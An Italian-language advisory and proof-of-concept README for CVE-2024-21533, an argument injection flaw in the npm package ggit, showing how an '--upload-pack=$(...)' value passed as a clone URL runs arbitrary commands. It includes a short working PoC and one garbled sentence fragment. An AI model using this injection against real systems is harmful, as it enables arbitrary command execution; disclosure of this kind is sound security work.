CVE-2024-21533 Vulnerabilità di Argument Injection in ggit

ggit si descrive così:

Local promise-returning git command wrappers

Risorse:

Codice sorgente GitHub del progetto: https://github.com/bahmutov/ggit
Pacchetto npm del progetto: https://www.npmjs.com/package/ggit

Articolo su questa vulnerabilità di argument injection: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Contesto dello sfruttamento

Segnalo una vulnerabilità di Argument Injection nel pacchetto npm ggit.

Questa vulnerabilità si manifesta con l'API clone() della libreria, che consente di specificare l'URL remoto da clonare e il file su disco in cui clonare. Tuttavia, la libreria non sanifica l'input dell'utente né valida lo schema dell'URL fornito, e non passa correttamente i flag della riga di comando al binario git usando i caratteri POSIX del doppio trattino (--) per comunicare la fine delle opzioni.

Pertanto, consentendo agli utenti di sfruttare una vulnerabilità di argument injection in Git dovuta all'opzione della riga di comando --upload-pack, che comporta l'esecuzione di comandi arbitrari. (outPath) in cui clonarlo, quindi la vulnerabilità si applica.

Exploit

Installa [email protected] o versioni precedenti
Prepara il seguente POC:

const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});

Osserva il nuovo file creato su disco in /tmp/pwned

Come contribuire

Consulta CONTRIBUTING per le linee guida su come contribuire a questo progetto.

Autore

Liran Tal

CVE-2024-21533-PoC-ggit

Più Popolari